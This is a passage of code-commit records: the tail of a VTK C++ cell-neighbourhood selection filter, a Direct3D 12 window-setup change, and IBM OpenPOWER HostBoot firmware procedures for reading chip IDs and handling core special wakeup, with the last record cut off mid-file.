++ i )\n {\n vtkIdType cellIndex = static_cast<vtkIdType>( outIndices->GetTuple1( i ) );\n vtkIdType * points;\n vtkIdType n;\n ug_input->GetCellPoints(cellIndex, n, points);\n for ( int k = 0; k < n; ++ k )\n {\n vtkIdType pid = points[k];\n int np = links->GetNcells( pid );\n vtkIdType* cells = links->GetCells( pid );\n for ( int j = 0; j < np; ++ j )\n {\n vtkIdType cid = cells[j];\n if( cid >= 0 && cid < numCells )\n {\n if ( ! flags[cid] )\n {\n flags[cid] = true;\n nextIndices->InsertNextValue( cid );\n }\n }\n else\n {\n vtkWarningMacro(<<\"Selection's cell index out of bounds (\"<<cid<<\"\/\"<<numCells<<\")\\n\");\n }\n }\n }\n }\n } \/\/ if ( ug_input )\n else if ( pd_input )\n {\n pd_input->BuildLinks();\n int nIndices = outIndices->GetNumberOfTuples();\n for ( int i = 0; i < nIndices; ++ i )\n {\n vtkIdType cellIndex = static_cast<vtkIdType>( outIndices->GetTuple1( i) );\n vtkIdType* points;\n vtkIdType n;\n pd_input->GetCellPoints(cellIndex, n, points);\n for ( int k = 0; k < n; ++ k )\n {\n vtkIdType pid = points[k];\n short unsigned int np;\n vtkIdType* cells;\n pd_input->GetPointCells(pid, np, cells);\n for ( int j = 0; j < np; j++)\n {\n vtkIdType cid = cells[j];\n if( cid>=0 && cid<numCells )\n {\n if (!flags[cid])\n {\n flags[cid] = true;\n nextIndices->InsertNextValue(cid);\n }\n }\n else\n {\n vtkWarningMacro(<<\"Selection's cell index out of bounds (\"<<cid<<\"\/\"<<numCells<<\")\\n\");\n }\n }\n }\n }\n } \/\/ else if ( ug_input )\n else if (sg_input != 0)\n {\n int dim[3];\n sg_input->GetDimensions(dim);\n dim[0]--;\n dim[1]--;\n dim[2]--;\n\n int nIndices = outIndices->GetNumberOfTuples();\n for ( int i = 0; i < nIndices; ++ i )\n {\n vtkIdType cellIndex = static_cast<vtkIdType>( outIndices->GetTuple1( i ) );\n vtkIdType cellId = cellIndex;\n vtkIdType ijk[3];\n for ( int c = 0; c < 3; c++)\n {\n if (dim[c] <= 1)\n {\n ijk[c] = 0;\n }\n else\n {\n ijk[c] = cellId % dim[c];\n cellId \/= dim[c];\n }\n }\n for ( int k = -1; k <= 1; k++)\n {\n for ( int j = -1; j <= 1; j++)\n {\n for ( int l = -1; l <= 1; ++ l )\n {\n int I = ijk[0] + l, J = ijk[1] + j, K = ijk[2] + k;\n if ( i >= 0 && I < dim[0] && J >= 0 && J\n < dim[1] && K >= 0 && K < dim[2])\n {\n cellId = I + J * dim[0] + K * dim[0] * dim[1];\n if( cellId >= 0 && cellId < numCells )\n {\n if ( ! flags[cellId] )\n {\n flags[cellId] = true;\n nextIndices->InsertNextValue( cellId );\n }\n }\n else\n {\n vtkWarningMacro(<<\"Selection's cell index out of bounds (\"<<cellId<<\"\/\"<<numCells<<\")\\n\");\n }\n }\n } \/\/ l\n } \/\/ j\n } \/\/ k\n }\n } \/\/ else if ( sg_input )\n else\n {\n vtkErrorMacro(<<\"Unsupported data type : \"<<input->GetClassName()<<\"\\n\");\n }\n\n if( ( ! d && this->IncludeSeed ) || ( d > 0 && this->AddIntermediate ) )\n {\n int ni = outIndices->GetNumberOfTuples();\n for( int i = 0; i < ni; ++ i )\n {\n cellDistance->InsertNextTuple1( d );\n finalIndices->InsertNextTuple1( outIndices->GetTuple1( i ) );\n }\n }\n\n outIndices = nextIndices;\n } \/\/ for ( int d = 0; d < this->Distance; ++ d )\n\n if( ( ! this->Distance && this->IncludeSeed ) || ( this->Distance > 0 && this->AddIntermediate ) )\n {\n int ni = outIndices->GetNumberOfTuples();\n for( int i=0;i<ni;++ i )\n {\n cellDistance->InsertNextTuple1( this->Distance );\n finalIndices->InsertNextTuple1( outIndices->GetTuple1( i ) );\n }\n }\n\n if( finalIndices->GetNumberOfTuples() > 0 )\n {\n vtkSmartPointer<vtkSelectionNode> outSelNode = vtkSmartPointer<vtkSelectionNode>::New();\n outSelNode->SetContentType( vtkSelectionNode::INDICES );\n outSelNode->SetFieldType( vtkSelectionNode::CELL );\n outSelNode->GetProperties()->Set( vtkSelectionNode::COMPOSITE_INDEX(), composite_index );\n outSelNode->SetSelectionList( finalIndices );\n outSelNode->GetSelectionData()->AddArray( cellDistance );\n output->AddNode( outSelNode );\n }\n } \/\/ if numSeeds > 0 etc.\n } \/\/ while selNodeIt\n } \/\/ while inputIterator\n\n \/\/ Clean up\n inputIterator->Delete();\n\n return 1;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"ExperimentalD3D12.hpp\"\n#include \"Application\/iWindowedApplication.hpp\"\n#include \"Application\/WindowFlags.hpp\"\n#include \"Application\/WindowDesc.hpp\"\n#include \"Graphics\/ImageFlags.hpp\"\n#include \"Logging\/Logging.hpp\"\n#include \"Math\/Constants.hpp\"\n#include \"Graphics\/ImageDesc.hpp\"\n#include \"Graphics\/Format.hpp\"\n\nusing namespace Cpf;\n\n#define WINDOW_TITLE \"Hello Triangle: \" CPF_STRINGIZE(GFX_ADAPTER)\n\nbool ExperimentalD3D12::_CreateWindow()\n{\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/ Create the window.\n\tmpApplication->GetEmitter()->On<iApplication::OnQuit>([]() {\n\t\tCPF_LOG(Experimental, Info) << \"**** Quit requested.\";\n\t\treturn true;\n\t});\n\n\t\/\/ Create the window.\n\tMath::Vector2i mWindowSize(1200, 800);\n\tWindowDesc windowDesc;\n\twindowDesc.mpTitle = WINDOW_TITLE;\n\twindowDesc.mX = 0; \/\/ iWindow::Centered();\n\twindowDesc.mY = 0; \/\/ iWindow::Centered();\n\twindowDesc.mWidth = mWindowSize.x;\n\twindowDesc.mHeight = mWindowSize.y;\n\twindowDesc.mFlags = WindowFlags::eResizable | WindowFlags::eShown;\n\tmpApplication->Create(&windowDesc, mpWindow.AsTypePP());\n\n\tif (mpWindow)\n\t{\n\t\tmpWindow->GetEmitter()->On<iWindow::OnResize>(Bind(&ExperimentalD3D12::_Resize, this, Placeholders::_1, Placeholders::_2));\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nvoid ExperimentalD3D12::_Resize(int32_t x, int32_t y)\n{\n\tif (mpSwapChain)\n\t{\n\t\tmFOV = Math::kDegToRad * 33.0f;\n\t\tfloat halfFov = tan(mFOV \/ 2.0f);\n\t\tmViewportSize = halfFov;\n\n\t\tmpSwapChain->Resize(x, y);\n\n\t\t\/\/ Recreate the depth buffers.\n\t\t\/\/ TODO: There should only be a single depth buffer.\n\t\tmpDepthBuffer.Assign(nullptr);\n\t\tmpDepthBufferView.Assign(nullptr);\n\t\tGraphics::ImageDesc depthBufferDesc\n\t\t{\n\t\t\tx, y,\n\t\t\t1,\n\t\t\t1,\n\t\t\tGraphics::Format::eD32f,\n\t\t\t{ 1, 0 },\n\t\t\tGraphics::ImageFlags::eAllowDepthStencil\n\t\t};\n\t\tmpDevice->CreateImage2D(&depthBufferDesc, nullptr, mpDepthBuffer.AsTypePP());\n\t\tmpDevice->CreateDepthStencilView(mpDepthBuffer, nullptr, mpDepthBufferView.AsTypePP());\n\t}\n}\n<commit_msg>Changed testing window size.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"ExperimentalD3D12.hpp\"\n#include \"Application\/iWindowedApplication.hpp\"\n#include \"Application\/WindowFlags.hpp\"\n#include \"Application\/WindowDesc.hpp\"\n#include \"Graphics\/ImageFlags.hpp\"\n#include \"Logging\/Logging.hpp\"\n#include \"Math\/Constants.hpp\"\n#include \"Graphics\/ImageDesc.hpp\"\n#include \"Graphics\/Format.hpp\"\n\nusing namespace Cpf;\n\n#define WINDOW_TITLE \"Hello Triangle: \" CPF_STRINGIZE(GFX_ADAPTER)\n\nbool ExperimentalD3D12::_CreateWindow()\n{\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/ Create the window.\n\tmpApplication->GetEmitter()->On<iApplication::OnQuit>([]() {\n\t\tCPF_LOG(Experimental, Info) << \"**** Quit requested.\";\n\t\treturn true;\n\t});\n\n\t\/\/ Create the window.\n\tMath::Vector2i mWindowSize(1200, 800);\n\tWindowDesc windowDesc;\n\twindowDesc.mpTitle = WINDOW_TITLE;\n\twindowDesc.mX = iWindow::Centered();\n\twindowDesc.mY = iWindow::Centered();\n\twindowDesc.mWidth = mWindowSize.x;\n\twindowDesc.mHeight = mWindowSize.y;\n\twindowDesc.mFlags = WindowFlags::eResizable | WindowFlags::eShown;\n\tmpApplication->Create(&windowDesc, mpWindow.AsTypePP());\n\n\tif (mpWindow)\n\t{\n\t\tmpWindow->GetEmitter()->On<iWindow::OnResize>(Bind(&ExperimentalD3D12::_Resize, this, Placeholders::_1, Placeholders::_2));\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nvoid ExperimentalD3D12::_Resize(int32_t x, int32_t y)\n{\n\tif (mpSwapChain)\n\t{\n\t\tmFOV = Math::kDegToRad * 33.0f;\n\t\tfloat halfFov = tan(mFOV \/ 2.0f);\n\t\tmViewportSize = halfFov;\n\n\t\tmpSwapChain->Resize(x, y);\n\n\t\t\/\/ Recreate the depth buffers.\n\t\t\/\/ TODO: There should only be a single depth buffer.\n\t\tmpDepthBuffer.Assign(nullptr);\n\t\tmpDepthBufferView.Assign(nullptr);\n\t\tGraphics::ImageDesc depthBufferDesc\n\t\t{\n\t\t\tx, y,\n\t\t\t1,\n\t\t\t1,\n\t\t\tGraphics::Format::eD32f,\n\t\t\t{ 1, 0 },\n\t\t\tGraphics::ImageFlags::eAllowDepthStencil\n\t\t};\n\t\tmpDevice->CreateImage2D(&depthBufferDesc, nullptr, mpDepthBuffer.AsTypePP());\n\t\tmpDevice->CreateDepthStencilView(mpDepthBuffer, nullptr, mpDepthBufferView.AsTypePP());\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/ocmb\/explorer\/procedures\/hwp\/memory\/exp_getidec.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file exp_getidec.C\n\/\/\/ @brief Contains function to lookup Chip ID and EC values of Explorer Chip\n\/\/\/\n\/\/\/ *HWP HWP Owner: Christian Geddes <crgeddes@us.ibm.com>\n\/\/\/ *HWP HWP Backup: <none>\n\/\/\/ *HWP Team: Hostboot\n\/\/\/ *HWP Level: 2\n\/\/\/ *HWP Consumed by: Hostboot \/ Cronus\n\n#include <fapi2.H>\n#include <exp_getidec.H>\n#include <lib\/shared\/exp_consts.H>\n#include <chips\/ocmb\/explorer\/common\/include\/explorer_scom_addresses.H>\n#include <chips\/ocmb\/explorer\/common\/include\/explorer_scom_addresses_fixes.H>\n#include <chips\/ocmb\/explorer\/common\/include\/explorer_scom_addresses_fld.H>\n#include <chips\/ocmb\/explorer\/common\/include\/explorer_scom_addresses_fld_fixes.H>\n#include <generic\/memory\/mss_git_data_helper.H>\n\nextern \"C\"\n{\n\n \/\/\/\n \/\/\/ @brief Lookup the Chip ID and EC level values for this explorer chip\n \/\/\/ @param[in] i_target Explorer OCMB chip\n \/\/\/ @param[out] o_chipId Explorer Chip ID\n \/\/\/ @param[out] o_chipEc Explorer Chip EC\n \/\/\/ @return fapi2:ReturnCode FAPI2_RC_SUCCESS if success, else error code.\n \/\/\/\n fapi2::ReturnCode exp_getidec(const fapi2::Target<fapi2::TARGET_TYPE_OCMB_CHIP>& i_target,\n uint16_t& o_chipId,\n uint8_t& o_chipEc)\n {\n mss::display_git_commit_info(\"exp_getidec\");\n uint8_t l_majorEc = 0;\n uint8_t l_minorEc = 0;\n uint8_t l_location = 0;\n uint8_t l_chipBaseId = 0;\n fapi2::buffer<uint64_t> l_reg_buffer;\n\n FAPI_TRY(fapi2::getScom( i_target,\n static_cast<uint64_t>(mss::exp::idec_consts::EXPLR_CHIP_INFO_REG),\n l_reg_buffer ),\n \"exp_getidec: could not read explorer chip_info register register 0x%08x\",\n mss::exp::idec_consts::EXPLR_CHIP_INFO_REG);\n\n l_reg_buffer.extractToRight<mss::exp::idec_consts::MAJOR_EC_BIT_START,\n mss::exp::idec_consts::MAJOR_EC_BIT_LENGTH>(l_majorEc);\n l_reg_buffer.extractToRight<mss::exp::idec_consts::LOCATION_BIT_START,\n mss::exp::idec_consts::LOCATION_BIT_LENGTH>(l_location);\n l_reg_buffer.extractToRight<mss::exp::idec_consts::CHIPID_BIT_START,\n mss::exp::idec_consts::CHIPID_BIT_LENGTH>(l_chipBaseId);\n\n \/\/ Due to design errors we must read the minor ec (2nd nibble) from a different register\n FAPI_TRY(fapi2::getScom( i_target, static_cast<uint64_t>(EXPLR_EFUSE_IMAGE_OUT_3), l_reg_buffer ),\n \"exp_getidec: could not read explorer efuse_out3 register 0x%08x\", EXPLR_EFUSE_IMAGE_OUT_3);\n\n l_reg_buffer.extractToRight<EXPLR_EFUSE_IMAGE_OUT_3_ENTERPRISE_MODE_EC_MINOR,\n EXPLR_EFUSE_IMAGE_OUT_3_ENTERPRISE_MODE_EC_MINOR_LEN>(l_minorEc);\n\n \/\/ Major EC 0:3\n \/\/ Minor EC 4:7\n o_chipEc = (l_majorEc << 4) | l_minorEc;\n\n \/\/ Location 0:3\n \/\/ Empty 4:7\n \/\/ ChipId 8:15\n o_chipId = (l_location << 12) | l_chipBaseId;\n\n FAPI_DBG(\"EC found 0x%.02x chipId found 0x%.04x\", o_chipEc, o_chipId);\n\n fapi_try_exit:\n return fapi2::current_err;\n }\n\n} \/\/ extern \"C\"\n<commit_msg>cleaned up paths<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/ocmb\/explorer\/procedures\/hwp\/memory\/exp_getidec.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2019,2020 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file exp_getidec.C\n\/\/\/ @brief Contains function to lookup Chip ID and EC values of Explorer Chip\n\/\/\/\n\/\/\/ *HWP HWP Owner: Christian Geddes <crgeddes@us.ibm.com>\n\/\/\/ *HWP HWP Backup: <none>\n\/\/\/ *HWP Team: Hostboot\n\/\/\/ *HWP Level: 2\n\/\/\/ *HWP Consumed by: Hostboot \/ Cronus\n\n#include <fapi2.H>\n#include <exp_getidec.H>\n#include <lib\/shared\/exp_consts.H>\n#include <explorer_scom_addresses.H>\n#include <explorer_scom_addresses_fixes.H>\n#include <explorer_scom_addresses_fld.H>\n#include <explorer_scom_addresses_fld_fixes.H>\n#include <generic\/memory\/mss_git_data_helper.H>\n\nextern \"C\"\n{\n\n \/\/\/\n \/\/\/ @brief Lookup the Chip ID and EC level values for this explorer chip\n \/\/\/ @param[in] i_target Explorer OCMB chip\n \/\/\/ @param[out] o_chipId Explorer Chip ID\n \/\/\/ @param[out] o_chipEc Explorer Chip EC\n \/\/\/ @return fapi2:ReturnCode FAPI2_RC_SUCCESS if success, else error code.\n \/\/\/\n fapi2::ReturnCode exp_getidec(const fapi2::Target<fapi2::TARGET_TYPE_OCMB_CHIP>& i_target,\n uint16_t& o_chipId,\n uint8_t& o_chipEc)\n {\n mss::display_git_commit_info(\"exp_getidec\");\n uint8_t l_majorEc = 0;\n uint8_t l_minorEc = 0;\n uint8_t l_location = 0;\n uint8_t l_chipBaseId = 0;\n fapi2::buffer<uint64_t> l_reg_buffer;\n\n FAPI_TRY(fapi2::getScom( i_target,\n static_cast<uint64_t>(mss::exp::idec_consts::EXPLR_CHIP_INFO_REG),\n l_reg_buffer ),\n \"exp_getidec: could not read explorer chip_info register register 0x%08x\",\n mss::exp::idec_consts::EXPLR_CHIP_INFO_REG);\n\n l_reg_buffer.extractToRight<mss::exp::idec_consts::MAJOR_EC_BIT_START,\n mss::exp::idec_consts::MAJOR_EC_BIT_LENGTH>(l_majorEc);\n l_reg_buffer.extractToRight<mss::exp::idec_consts::LOCATION_BIT_START,\n mss::exp::idec_consts::LOCATION_BIT_LENGTH>(l_location);\n l_reg_buffer.extractToRight<mss::exp::idec_consts::CHIPID_BIT_START,\n mss::exp::idec_consts::CHIPID_BIT_LENGTH>(l_chipBaseId);\n\n \/\/ Due to design errors we must read the minor ec (2nd nibble) from a different register\n FAPI_TRY(fapi2::getScom( i_target, static_cast<uint64_t>(EXPLR_EFUSE_IMAGE_OUT_3), l_reg_buffer ),\n \"exp_getidec: could not read explorer efuse_out3 register 0x%08x\", EXPLR_EFUSE_IMAGE_OUT_3);\n\n l_reg_buffer.extractToRight<EXPLR_EFUSE_IMAGE_OUT_3_ENTERPRISE_MODE_EC_MINOR,\n EXPLR_EFUSE_IMAGE_OUT_3_ENTERPRISE_MODE_EC_MINOR_LEN>(l_minorEc);\n\n \/\/ Major EC 0:3\n \/\/ Minor EC 4:7\n o_chipEc = (l_majorEc << 4) | l_minorEc;\n\n \/\/ Location 0:3\n \/\/ Empty 4:7\n \/\/ ChipId 8:15\n o_chipId = (l_location << 12) | l_chipBaseId;\n\n FAPI_DBG(\"EC found 0x%.02x chipId found 0x%.04x\", o_chipEc, o_chipId);\n\n fapi_try_exit:\n return fapi2::current_err;\n }\n\n} \/\/ extern \"C\"\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_cpu_special_wakeup_core.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file : p9_cpu_special_wakeup_core.C\n\/\/\/ @brief : HWP to perform special wakeup of a core\n\n\/\/ *HWP HW Owner : Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner : Prem S Jha <premjha2@in.ibm.com>\n\/\/ *HWP Team : PM\n\/\/ *HWP Level : 3\n\/\/ *HWP Consumed by : OCC:FSP:HOST:CRO\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Includes\n\/\/ -----------------------------------------------------------------------------\n#include <p9_cpu_special_wakeup.H>\n#include <p9_cpu_special_wakeup_lib.H>\n#include <p9_ppe_defs.H>\n#include <p9_ppe_utils.H>\n\nfapi2::ReturnCode collectCoreTimeoutFailInfo( const fapi2::Target < fapi2::TARGET_TYPE_CORE>& i_target,\n ProcessingValues_t i_processing_info );\n\n\/\/\/ ----------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @brief Sets a normal core chiplet into special wakeup state.\n\/\/\/ @param[in] i_target core target\n\/\/\/ @param[in] i_operation Special Wakeup Operation i.e. assert or deassert\n\/\/\/ @param[in] i_entity entity to be considered for special wakeup.\n\/\/\/ @return fapi2 return code.\n\/\/\/\nfapi2::ReturnCode p9_cpu_special_wakeup_core(\n const fapi2::Target < fapi2::TARGET_TYPE_CORE>& i_target,\n const p9specialWakeup::PROC_SPCWKUP_OPS i_operation,\n const p9specialWakeup::PROC_SPCWKUP_ENTITY i_entity )\n{\n FAPI_INF(\">> p9_cpu_special_wakeup_core\");\n fapi2::ReturnCode l_rc;\n uint8_t l_spWakeUpInProg = 0;\n ProcessingValues_t l_processing_info;\n auto l_eqTarget = i_target.getParent<fapi2::TARGET_TYPE_EQ>();\n\n FAPI_ATTR_GET( fapi2::ATTR_CORE_INSIDE_SPECIAL_WAKEUP,\n i_target,\n l_spWakeUpInProg );\n\n \/\/ A special wakeup is already in progress. In all likelyhood, a special\n \/\/ wakeup has timed out and we are in FFDC collection path. During this\n \/\/ FFDC collection, we SCOMed a register which itself needs a special\n \/\/ wakeup.\n\n if( l_spWakeUpInProg )\n {\n FAPI_INF(\"exiting core recurssion\");\n return fapi2::FAPI2_RC_SUCCESS;\n }\n\n p9specialWakeup::blockWakeupRecurssion( l_eqTarget, p9specialWakeup::BLOCK );\n\n l_rc = _special_wakeup<fapi2::TARGET_TYPE_CORE> (\n i_target,\n i_operation,\n i_entity,\n l_processing_info );\n\n if( l_rc == (uint32_t)fapi2::RC_INTERNAL_SPCWKUP_TIMEOUT )\n {\n collectCoreTimeoutFailInfo( i_target, l_processing_info );\n }\n\n p9specialWakeup::blockWakeupRecurssion( l_eqTarget, p9specialWakeup::UNBLOCK );\n\n FAPI_INF(\"<< p9_cpu_special_wakeup_core\" );\n return fapi2::current_err;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\n\/\/\/ @brief Collect FFDC for EQ Special Wakeup timeout\n\/\/\/ @param[in] i_target core target\n\/\/\/ @param[in] i_operation info pertaining to special wakeup\n\/\/\/ @return fapi2 return code.\n\/\/\/\nfapi2::ReturnCode collectCoreTimeoutFailInfo( const fapi2::Target < fapi2::TARGET_TYPE_CORE>& i_target,\n ProcessingValues_t i_processing_info )\n{\n FAPI_INF(\">> collectCoreTimeoutFailInfo\" );\n fapi2::buffer<uint64_t> l_CPMMR;\n fapi2::buffer<uint64_t> l_GPMMR;\n fapi2::buffer<uint64_t> l_spWakeupRegVal;\n fapi2::buffer<uint64_t> l_histRegVal;\n\n fapi2::getScom( i_target, C_CPPM_CPMMR, l_CPMMR );\n fapi2::getScom( i_target, C_PPM_GPMMR_SCOM, l_GPMMR );\n fapi2::getScom( i_target, i_processing_info.spwkup_address[0], l_spWakeupRegVal );\n fapi2::getScom( i_target, i_processing_info.history_address[0], l_histRegVal );\n fapi2::Target < fapi2::TARGET_TYPE_EX> parentExTgt = i_target.getParent <fapi2::TARGET_TYPE_EX>();\n uint8_t l_exPos = 0;\n FAPI_ATTR_GET( fapi2::ATTR_CHIP_UNIT_POS, parentExTgt, l_exPos );\n\n std::vector<uint64_t> l_cmeBaseAddress;\n std::vector<uint64_t> l_sgpeBaseAddress;\n l_sgpeBaseAddress.push_back( SGPE_BASE_ADDRESS );\n l_cmeBaseAddress.push_back( getCmeBaseAddress( l_exPos ) );\n\n FAPI_ASSERT( false ,\n fapi2::SPCWKUP_CORE_TIMEOUT().\n set_POLLCOUNT( i_processing_info.poll_count ).\n set_SP_WKUP_REG_VALUE( l_spWakeupRegVal ).\n set_HISTORY_VALUE( l_histRegVal ).\n set_ENTITY( i_processing_info.entity ).\n set_CPMMR( l_CPMMR ).\n set_GPMMR( l_GPMMR ).\n set_EQ_TARGET( i_target.getParent <fapi2::TARGET_TYPE_EQ>() ).\n set_EX_TARGET( parentExTgt ).\n set_CORE_TARGET( i_target ).\n set_PROC_CHIP_TARGET( i_processing_info.procTgt ).\n set_CME_BASE_ADDRESS( l_cmeBaseAddress ).\n set_SGPE_BASE_ADDRESS( l_sgpeBaseAddress ).\n set_CME_STATE_MODE( XIRS ).\n set_SGPE_STATE_MODE( XIRS ),\n \"Timed Out In Setting Core Special Wakeup\");\nfapi_try_exit:\n FAPI_INF(\"<< collectCoreTimeoutFailInfo\" );\n return fapi2::current_err;\n}\n\/\/ -----------------------------------------------------------------------------\n\/\/\/ @param[in] i_chipletTarget core target\n\/\/\/ @param[in] i_processing_info struct storing processing info\n\/\/\/ @param[in] i_msgId Id pertaining to debug message string.\n\/\/\/ @return fapi2 return code.\nfapi2::ReturnCode spwkup_deassert( const fapi2::Target<fapi2::TARGET_TYPE_CORE>& i_chipletTarget,\n const ProcessingValues_t i_processing_info,\n p9specialWakeup::SpecialWakeUpMsg i_msgId )\n{\n FAPI_INF(\"> spwkup_deassert Core\" );\n\n uint64_t l_address = i_processing_info.spwkup_address[0];\n FAPI_TRY(_spwkup_deassert(i_chipletTarget, l_address, i_msgId));\n\nfapi_try_exit:\n FAPI_INF(\"< spwkup_deassert Core\" );\n return fapi2::current_err;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @brief Set addresses for a core target type\n\/\/\/ @param[in] i_target core target\n\/\/\/ @param[in] i_structure struct storing processing info\n\/\/\/ @param[in] i_entity entity to be considered for special wakeup.\n\/\/\/ @return fapi2 return code.\n\/\/\/\ntemplate<>\nfapi2::ReturnCode set_addresses(const fapi2::Target<fapi2::TARGET_TYPE_CORE>& i_target,\n ProcessingValues_t& i_structure,\n const uint32_t i_entity )\n{\n FAPI_INF(\">> set_addresses for Core\");\n\n uint8_t l_core_num = 0;\n\n FAPI_TRY(FAPI_ATTR_GET( fapi2::ATTR_CHIP_UNIT_POS, i_target, l_core_num),\n \"fapiGetAttribute of ATTR_CHIP_UNIT_POS\");\n\n FAPI_DBG(\"Core %d being procesed.\", l_core_num);\n\n i_structure.spwkup_address[0] = SPCWKUP_ADDR[i_entity][p9specialWakeup::SPW_CORE]\n + 0x01000000 * l_core_num;\n i_structure.history_address[0] = SPCWKUP_HIST_ADDR[i_entity][p9specialWakeup::SPW_CORE]\n + 0x01000000 * l_core_num;\n i_structure.netctrl_address[0] = SPCWKUP_NETCTRL0_ADDR[p9specialWakeup::SPW_CORE]\n + 0x01000000 * l_core_num;\n i_structure.gpmmr_address[0] = SPCWKUP_GPMMR_ADDR[p9specialWakeup::SPW_CORE]\n + 0x01000000 * l_core_num;\n i_structure.num_addresses = 1;\n\n FAPI_DBG(\"i_structure.spwkup_address[%d] = 0x%08llX \\n \"\n \"i_structure.history_address[%d] = 0x%08llX \\n \"\n \"i_structure.netctrl_address[%d] = 0x%08llX \\n \"\n \"i_structure.gpmmr_addresss[%d] = 0x%08llX \\n \" ,\n 0, i_structure.spwkup_address[0],\n 0, i_structure.history_address[0],\n 0, i_structure.netctrl_address[0],\n 0, i_structure.gpmmr_address[0]);\n\nfapi_try_exit:\n FAPI_INF(\"<< set_addresses for Core\");\n return fapi2::current_err;\n}\n<commit_msg>PM: Use auto-special wake-up to cover PM complex reset window<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_cpu_special_wakeup_core.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES 